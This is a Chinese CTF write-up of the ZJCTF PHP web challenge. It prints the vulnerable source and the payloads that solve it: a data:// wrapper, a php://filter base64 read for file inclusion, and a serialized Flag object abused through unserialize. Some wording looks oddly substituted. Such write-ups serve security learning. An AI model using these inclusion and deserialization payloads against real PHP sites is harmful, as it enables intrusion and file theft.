媒介
就直接上题目吧
这题有些意思
正文
- <?php
- $text = $_GET["text"];
- $file = $_GET["file"];
- $password = $_GET["password"];//定义三个变量
- if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//做了强比较,可利用?
- echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//传入的内容进行输出,如果只是单纯使text=上述,绝对不能echo file_get_contents 绕过?
- if(preg_match("/flag/",$file)){
- echo "Not now!";
- exit();
- }else{
- include($file); //useless.php 包含,可利用?
- $password = unserialize($password);
- echo $password; //构建序列化,由于未做限制,可自由发挥
- }
- }
- else{
- highlight_file(__FILE__);
- }
- ?>
复制代码 大致环境
1.file_get_contents
2.文件包罗
3.反序列化漏洞
再次审计分析,发现这里的强比力无法有用绕过 ,且/flag/被过滤
我们先尝试构建
EXP
首先要符合fgc
- ?data://text/plain,welcome to the zjctf
复制代码
接下来是文件包罗,获取提示给的useless.php内容
- ?file=php://filter/read=convert.base64-encode/resource=useless.php
复制代码
输出的内容
- <?php
- class Flag{
- public $file;
- public function __tostring(){
- if(isset($this->file)){
- echo file_get_contents($this->file);
- echo "<br>";
- return ("U R SO CLOSE !///COME ON PLZ");
- }
- }
- }
- ?>
复制代码 这就很简朴了
继续构建
- ?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
复制代码
........害搁这循序渐进是伐.......
但是没有其他可利用的地方了,然后f12看到了flag
..............................我真的就............................
算了算了
差不多就是这样
必要注意的是
1.三个变量缺一不可,因为题目有先后次序
2.file=useless.php是因为给了提示,不要想太多
3.多尝试
结语
没想到我也有500粉丝了,真的是始料未及的事情
感谢各位师傅们的支持,未来我也会给各人带来更多的内容
不只是CTF
作者的其他文章
攻防世界-WEB-ics07-CSDN博客
NSSCTF-WEB-easy_eval-CSDN博客
NSSCTF-WEB-pklovecloud-CSDN博客
BugKu-WEB-sodirty-CSDN博客
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |